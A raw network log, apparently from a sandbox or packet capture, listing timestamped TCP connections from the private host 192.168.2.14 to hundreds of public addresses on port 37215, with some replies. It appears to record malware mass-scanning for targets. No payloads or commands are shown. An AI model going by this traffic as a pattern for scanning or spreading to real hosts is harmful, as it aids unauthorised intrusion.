Oct 8, 2024 20:34:48.358385086 CEST	48169	37215	192.168.2.14	41.172.240.183
Oct 8, 2024 20:34:48.358386040 CEST	48169	37215	192.168.2.14	197.121.13.28
Oct 8, 2024 20:34:48.358390093 CEST	48169	37215	192.168.2.14	156.57.210.197
Oct 8, 2024 20:34:48.358390093 CEST	48169	37215	192.168.2.14	156.223.47.157
Oct 8, 2024 20:34:48.358402967 CEST	48169	37215	192.168.2.14	156.203.153.79
Oct 8, 2024 20:34:48.358402967 CEST	48169	37215	192.168.2.14	41.117.84.208
Oct 8, 2024 20:34:48.358431101 CEST	48169	37215	192.168.2.14	197.37.69.51
Oct 8, 2024 20:34:48.358431101 CEST	48169	37215	192.168.2.14	41.195.164.104
Oct 8, 2024 20:34:48.358439922 CEST	48169	37215	192.168.2.14	156.223.10.240
Oct 8, 2024 20:34:48.358447075 CEST	48169	37215	192.168.2.14	197.186.75.72
Oct 8, 2024 20:34:48.358449936 CEST	48169	37215	192.168.2.14	197.39.129.99
Oct 8, 2024 20:34:48.358452082 CEST	48169	37215	192.168.2.14	156.241.42.203
Oct 8, 2024 20:34:48.358452082 CEST	48169	37215	192.168.2.14	156.72.37.201
Oct 8, 2024 20:34:48.358469009 CEST	48169	37215	192.168.2.14	41.61.49.2
Oct 8, 2024 20:34:48.358469009 CEST	48169	37215	192.168.2.14	156.183.17.145
Oct 8, 2024 20:34:48.358469009 CEST	48169	37215	192.168.2.14	41.229.32.24
Oct 8, 2024 20:34:48.358483076 CEST	48169	37215	192.168.2.14	197.188.73.170
Oct 8, 2024 20:34:48.358486891 CEST	48169	37215	192.168.2.14	41.11.158.5
Oct 8, 2024 20:34:48.358488083 CEST	48169	37215	192.168.2.14	41.146.175.89
Oct 8, 2024 20:34:48.358494997 CEST	48169	37215	192.168.2.14	41.221.194.45
Oct 8, 2024 20:34:48.358498096 CEST	48169	37215	192.168.2.14	41.32.142.139
Oct 8, 2024 20:34:48.358505011 CEST	48169	37215	192.168.2.14	197.100.48.0
Oct 8, 2024 20:34:48.358514071 CEST	48169	37215	192.168.2.14	156.10.24.255
Oct 8, 2024 20:34:48.358521938 CEST	48169	37215	192.168.2.14	41.126.103.55
Oct 8, 2024 20:34:48.358521938 CEST	48169	37215	192.168.2.14	197.128.56.107
Oct 8, 2024 20:34:48.358536959 CEST	48169	37215	192.168.2.14	156.228.156.156
Oct 8, 2024 20:34:48.358539104 CEST	48169	37215	192.168.2.14	41.246.196.76
Oct 8, 2024 20:34:48.358545065 CEST	48169	37215	192.168.2.14	41.120.133.129
Oct 8, 2024 20:34:48.358546972 CEST	48169	37215	192.168.2.14	156.255.125.240
Oct 8, 2024 20:34:48.358546972 CEST	48169	37215	192.168.2.14	41.1.233.147
Oct 8, 2024 20:34:48.358561039 CEST	48169	37215	192.168.2.14	41.176.46.130
Oct 8, 2024 20:34:48.358561039 CEST	48169	37215	192.168.2.14	197.186.232.6
Oct 8, 2024 20:34:48.358566999 CEST	48169	37215	192.168.2.14	156.224.117.171
Oct 8, 2024 20:34:48.358567953 CEST	48169	37215	192.168.2.14	156.102.229.178
Oct 8, 2024 20:34:48.358573914 CEST	48169	37215	192.168.2.14	156.125.131.236
Oct 8, 2024 20:34:48.358576059 CEST	48169	37215	192.168.2.14	197.195.56.233
Oct 8, 2024 20:34:48.358576059 CEST	48169	37215	192.168.2.14	197.168.184.86
Oct 8, 2024 20:34:48.358587027 CEST	48169	37215	192.168.2.14	41.51.167.33
Oct 8, 2024 20:34:48.358588934 CEST	48169	37215	192.168.2.14	197.50.48.156
Oct 8, 2024 20:34:48.358596087 CEST	48169	37215	192.168.2.14	156.205.94.234
Oct 8, 2024 20:34:48.358598948 CEST	48169	37215	192.168.2.14	197.59.124.90
Oct 8, 2024 20:34:48.358598948 CEST	48169	37215	192.168.2.14	197.168.165.71
Oct 8, 2024 20:34:48.358598948 CEST	48169	37215	192.168.2.14	156.69.101.182
Oct 8, 2024 20:34:48.358611107 CEST	48169	37215	192.168.2.14	156.232.114.239
Oct 8, 2024 20:34:48.358620882 CEST	48169	37215	192.168.2.14	156.124.119.185
Oct 8, 2024 20:34:48.358627081 CEST	48169	37215	192.168.2.14	41.249.66.235
Oct 8, 2024 20:34:48.358633995 CEST	48169	37215	192.168.2.14	197.200.97.178
Oct 8, 2024 20:34:48.358639002 CEST	48169	37215	192.168.2.14	197.246.146.10
Oct 8, 2024 20:34:48.358639002 CEST	48169	37215	192.168.2.14	156.1.247.187
Oct 8, 2024 20:34:48.358644009 CEST	48169	37215	192.168.2.14	156.117.1.181
Oct 8, 2024 20:34:48.358644009 CEST	48169	37215	192.168.2.14	156.148.118.150
Oct 8, 2024 20:34:48.358655930 CEST	48169	37215	192.168.2.14	197.82.29.76
Oct 8, 2024 20:34:48.358668089 CEST	48169	37215	192.168.2.14	156.49.37.134
Oct 8, 2024 20:34:48.358678102 CEST	48169	37215	192.168.2.14	41.166.171.28
Oct 8, 2024 20:34:48.358683109 CEST	48169	37215	192.168.2.14	41.235.57.38
Oct 8, 2024 20:34:48.358686924 CEST	48169	37215	192.168.2.14	41.101.106.244
Oct 8, 2024 20:34:48.358694077 CEST	48169	37215	192.168.2.14	156.82.222.68
Oct 8, 2024 20:34:48.358695030 CEST	48169	37215	192.168.2.14	197.81.83.19
Oct 8, 2024 20:34:48.358695030 CEST	48169	37215	192.168.2.14	197.15.105.199
Oct 8, 2024 20:34:48.358695984 CEST	48169	37215	192.168.2.14	197.186.119.93
Oct 8, 2024 20:34:48.358702898 CEST	48169	37215	192.168.2.14	41.159.199.195
Oct 8, 2024 20:34:48.358706951 CEST	48169	37215	192.168.2.14	197.107.156.229
Oct 8, 2024 20:34:48.358716965 CEST	48169	37215	192.168.2.14	156.95.1.171
Oct 8, 2024 20:34:48.358719110 CEST	48169	37215	192.168.2.14	197.245.156.139
Oct 8, 2024 20:34:48.358733892 CEST	48169	37215	192.168.2.14	41.42.89.130
Oct 8, 2024 20:34:48.358735085 CEST	48169	37215	192.168.2.14	41.194.61.212
Oct 8, 2024 20:34:48.358747005 CEST	48169	37215	192.168.2.14	41.154.231.69
Oct 8, 2024 20:34:48.358760118 CEST	48169	37215	192.168.2.14	197.239.237.160
Oct 8, 2024 20:34:48.358776093 CEST	48169	37215	192.168.2.14	197.250.66.122
Oct 8, 2024 20:34:48.358783960 CEST	48169	37215	192.168.2.14	41.219.97.231
Oct 8, 2024 20:34:48.358783960 CEST	48169	37215	192.168.2.14	197.149.174.252
Oct 8, 2024 20:34:48.358793020 CEST	48169	37215	192.168.2.14	41.248.171.39
Oct 8, 2024 20:34:48.358793020 CEST	48169	37215	192.168.2.14	156.179.84.107
Oct 8, 2024 20:34:48.358810902 CEST	48169	37215	192.168.2.14	156.144.189.36
Oct 8, 2024 20:34:48.358810902 CEST	48169	37215	192.168.2.14	197.47.82.225
Oct 8, 2024 20:34:48.358818054 CEST	48169	37215	192.168.2.14	156.86.218.16
Oct 8, 2024 20:34:48.359009027 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:48.359025002 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:48.359067917 CEST	48169	37215	192.168.2.14	41.101.34.243
Oct 8, 2024 20:34:48.359071016 CEST	48169	37215	192.168.2.14	156.56.149.191
Oct 8, 2024 20:34:48.360462904 CEST	49232	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:48.360927105 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:48.360927105 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:48.361466885 CEST	40098	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:48.362221003 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:48.362221003 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:48.362550020 CEST	36068	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:48.362991095 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:48.362991095 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:48.363316059 CEST	50172	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:48.363748074 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.363748074 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.364048958 CEST	37215	48836	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:48.364094019 CEST	59580	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.364537954 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:48.364537954 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:48.364893913 CEST	56664	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:48.365636110 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:48.365636110 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:48.365953922 CEST	37215	39706	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:48.365974903 CEST	40330	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:48.366842985 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:48.366842985 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:48.367145061 CEST	37215	35676	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:48.367192984 CEST	49686	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:48.367692947 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:48.367692947 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:48.367976904 CEST	37215	49784	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:48.368477106 CEST	52108	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:48.368582010 CEST	37215	59192	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:48.368843079 CEST	37215	59580	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:48.368886948 CEST	59580	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.369172096 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:48.369172096 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:48.369545937 CEST	37215	56276	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:48.369565964 CEST	53158	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:48.370068073 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:48.370068073 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:48.370471954 CEST	37215	39942	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:48.370580912 CEST	59930	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:48.371536016 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.371536016 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.371830940 CEST	37215	49298	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:48.373004913 CEST	37215	51720	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:48.373961926 CEST	60570	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.373972893 CEST	37215	52770	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:48.374737978 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:48.374737978 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:48.375055075 CEST	56526	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:48.375094891 CEST	37215	59542	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:48.376085997 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:48.376085997 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:48.376655102 CEST	37215	60186	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:48.376941919 CEST	55506	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:48.378312111 CEST	59580	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.378797054 CEST	37215	60570	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:48.378859043 CEST	60570	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.378859043 CEST	60570	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.379585981 CEST	37215	56142	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:48.380934000 CEST	37215	55122	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:48.383424997 CEST	37215	59580	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:48.383471966 CEST	59580	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:48.383646011 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:48.383668900 CEST	53048	37215	192.168.2.14	41.127.183.31
Oct 8, 2024 20:34:48.383671999 CEST	38152	37215	192.168.2.14	156.209.95.181
Oct 8, 2024 20:34:48.383675098 CEST	54600	37215	192.168.2.14	197.98.15.6
Oct 8, 2024 20:34:48.383676052 CEST	40820	37215	192.168.2.14	197.242.150.234
Oct 8, 2024 20:34:48.383676052 CEST	53172	37215	192.168.2.14	156.42.99.212
Oct 8, 2024 20:34:48.383676052 CEST	48684	37215	192.168.2.14	41.240.220.129
Oct 8, 2024 20:34:48.383682966 CEST	57974	37215	192.168.2.14	41.231.9.54
Oct 8, 2024 20:34:48.383685112 CEST	59966	37215	192.168.2.14	41.246.192.50
Oct 8, 2024 20:34:48.383677006 CEST	34106	37215	192.168.2.14	41.222.138.105
Oct 8, 2024 20:34:48.383692026 CEST	54714	37215	192.168.2.14	156.252.148.55
Oct 8, 2024 20:34:48.383692026 CEST	54016	37215	192.168.2.14	197.117.78.21
Oct 8, 2024 20:34:48.383694887 CEST	37010	37215	192.168.2.14	41.65.180.158
Oct 8, 2024 20:34:48.383694887 CEST	60674	37215	192.168.2.14	197.237.78.137
Oct 8, 2024 20:34:48.383694887 CEST	57118	37215	192.168.2.14	156.124.112.196
Oct 8, 2024 20:34:48.383694887 CEST	50820	37215	192.168.2.14	41.31.141.250
Oct 8, 2024 20:34:48.383694887 CEST	49874	37215	192.168.2.14	197.78.178.68
Oct 8, 2024 20:34:48.383701086 CEST	42328	37215	192.168.2.14	156.5.34.251
Oct 8, 2024 20:34:48.383702993 CEST	43492	37215	192.168.2.14	197.17.119.210
Oct 8, 2024 20:34:48.383702993 CEST	56654	37215	192.168.2.14	197.200.248.209
Oct 8, 2024 20:34:48.383702993 CEST	58530	37215	192.168.2.14	156.21.110.130
Oct 8, 2024 20:34:48.383704901 CEST	45916	37215	192.168.2.14	41.170.38.108
Oct 8, 2024 20:34:48.384299994 CEST	37215	60570	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:48.384476900 CEST	60570	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:48.388659000 CEST	37215	57826	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:48.388725996 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:48.388787985 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:48.388787985 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:48.389944077 CEST	58192	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:48.393695116 CEST	37215	57826	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:48.407548904 CEST	37215	35676	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:48.407624960 CEST	37215	39706	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:48.407639027 CEST	37215	48836	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:48.411554098 CEST	37215	39942	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:48.411596060 CEST	37215	56276	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:48.411611080 CEST	37215	59192	156.215.146.232	192.168.2.14
Oct 8, 2024 20:34:48.411624908 CEST	37215	49784	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:48.415529013 CEST	37215	59542	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:48.415545940 CEST	37215	52770	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:48.415559053 CEST	37215	51720	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:48.415657043 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:48.415667057 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.415668011 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:48.415677071 CEST	52968	37215	192.168.2.14	156.112.43.171
Oct 8, 2024 20:34:48.415676117 CEST	38642	37215	192.168.2.14	41.82.216.35
Oct 8, 2024 20:34:48.415678024 CEST	44204	37215	192.168.2.14	197.153.237.169
Oct 8, 2024 20:34:48.415684938 CEST	57032	37215	192.168.2.14	41.136.4.0
Oct 8, 2024 20:34:48.415689945 CEST	54158	37215	192.168.2.14	41.161.155.85
Oct 8, 2024 20:34:48.415690899 CEST	49452	37215	192.168.2.14	197.233.110.195
Oct 8, 2024 20:34:48.415690899 CEST	35276	37215	192.168.2.14	41.249.65.237
Oct 8, 2024 20:34:48.415699959 CEST	59730	37215	192.168.2.14	156.23.150.150
Oct 8, 2024 20:34:48.415699959 CEST	59672	37215	192.168.2.14	41.254.189.110
Oct 8, 2024 20:34:48.415705919 CEST	44422	37215	192.168.2.14	41.206.39.39
Oct 8, 2024 20:34:48.415708065 CEST	56574	37215	192.168.2.14	41.141.199.197
Oct 8, 2024 20:34:48.415712118 CEST	50970	37215	192.168.2.14	41.90.202.228
Oct 8, 2024 20:34:48.415718079 CEST	41276	37215	192.168.2.14	156.37.142.153
Oct 8, 2024 20:34:48.415802002 CEST	37215	49298	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:48.419481039 CEST	37215	60186	156.15.115.61	192.168.2.14
Oct 8, 2024 20:34:48.420608044 CEST	37215	49976	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:48.420623064 CEST	37215	51834	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:48.420674086 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:48.420733929 CEST	37215	52094	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:48.420768023 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:48.420768023 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:48.420769930 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:48.420785904 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.421237946 CEST	50286	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:48.421869040 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:48.421869040 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:48.423096895 CEST	52134	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:48.423476934 CEST	37215	55122	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:48.423543930 CEST	37215	56142	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:48.423882008 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.423882008 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.424401045 CEST	52402	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.425846100 CEST	37215	49976	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:48.427089930 CEST	37215	51834	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:48.429013968 CEST	37215	52094	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:48.429297924 CEST	37215	52402	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:48.429388046 CEST	52402	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.429388046 CEST	52402	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.435220957 CEST	37215	52402	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:48.435272932 CEST	52402	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:48.439692974 CEST	37215	57826	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:48.447674036 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.447674036 CEST	55370	37215	192.168.2.14	41.36.42.133
Oct 8, 2024 20:34:48.447676897 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:48.447690010 CEST	38658	37215	192.168.2.14	197.61.144.116
Oct 8, 2024 20:34:48.447690010 CEST	44906	37215	192.168.2.14	41.113.7.78
Oct 8, 2024 20:34:48.447690010 CEST	56610	37215	192.168.2.14	41.234.186.12
Oct 8, 2024 20:34:48.447694063 CEST	43034	37215	192.168.2.14	41.168.97.59
Oct 8, 2024 20:34:48.447694063 CEST	43796	37215	192.168.2.14	41.250.111.239
Oct 8, 2024 20:34:48.447695017 CEST	49750	37215	192.168.2.14	41.4.208.158
Oct 8, 2024 20:34:48.447705030 CEST	35478	37215	192.168.2.14	41.5.23.116
Oct 8, 2024 20:34:48.447705030 CEST	44706	37215	192.168.2.14	41.53.65.212
Oct 8, 2024 20:34:48.447705984 CEST	48868	37215	192.168.2.14	41.125.157.173
Oct 8, 2024 20:34:48.447710991 CEST	47274	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:48.447711945 CEST	40466	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:48.447711945 CEST	41742	37215	192.168.2.14	156.235.201.5
Oct 8, 2024 20:34:48.447717905 CEST	57812	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:48.447745085 CEST	59172	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:48.447745085 CEST	48204	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:48.447748899 CEST	53452	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:48.447763920 CEST	42642	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:48.452773094 CEST	37215	42224	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:48.452846050 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.452928066 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.452928066 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.452975035 CEST	37215	52212	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:48.453025103 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:48.454726934 CEST	42498	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.457043886 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:48.457043886 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:48.457819939 CEST	52484	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:48.458117962 CEST	37215	42224	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:48.459794044 CEST	37215	42498	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:48.459845066 CEST	42498	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.459872961 CEST	42498	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.462013960 CEST	37215	52212	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:48.465415955 CEST	37215	42498	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:48.465465069 CEST	42498	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:48.467448950 CEST	37215	51834	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:48.467539072 CEST	37215	49976	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:48.471530914 CEST	37215	52094	41.55.5.219	192.168.2.14
Oct 8, 2024 20:34:48.479686975 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:48.479691982 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:48.479693890 CEST	53022	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:48.479695082 CEST	53302	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:48.479695082 CEST	59958	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:48.479708910 CEST	41894	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:48.479710102 CEST	50580	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:48.479708910 CEST	52546	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:48.479710102 CEST	38906	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:48.479708910 CEST	45180	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:48.479712009 CEST	46350	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:48.479712009 CEST	52738	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:48.479715109 CEST	50086	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:48.479724884 CEST	38114	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:48.484778881 CEST	37215	40160	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:48.484796047 CEST	37215	57466	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:48.484838963 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:48.484842062 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:48.484877110 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:48.484891891 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:48.490384102 CEST	37215	40160	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:48.490437984 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:48.491103888 CEST	37215	57466	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:48.491148949 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:48.499491930 CEST	37215	42224	156.152.77.121	192.168.2.14
Oct 8, 2024 20:34:48.503468037 CEST	37215	52212	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:48.511759996 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:48.511759996 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:48.511759996 CEST	34804	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:48.511759996 CEST	51658	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:48.511764050 CEST	42834	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:48.511764050 CEST	51064	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:48.511764050 CEST	39506	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:48.511766911 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:48.511764050 CEST	52676	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:48.511766911 CEST	47792	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:48.511764050 CEST	57418	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:48.511766911 CEST	59936	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:48.511766911 CEST	60982	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:48.511780977 CEST	47368	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:48.511787891 CEST	39958	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:48.516650915 CEST	37215	60664	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:48.516665936 CEST	37215	46320	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:48.516679049 CEST	37215	34804	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:48.516714096 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:48.516717911 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:48.516720057 CEST	34804	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:48.516763926 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:48.516776085 CEST	34804	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:48.516788960 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:48.516855955 CEST	37215	34024	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:48.516905069 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:48.516925097 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:48.521930933 CEST	37215	60664	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:48.521980047 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:48.522274971 CEST	37215	46320	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:48.522315979 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:48.522478104 CEST	37215	34804	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:48.522504091 CEST	37215	34024	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:48.522519112 CEST	34804	37215	192.168.2.14	156.9.173.187
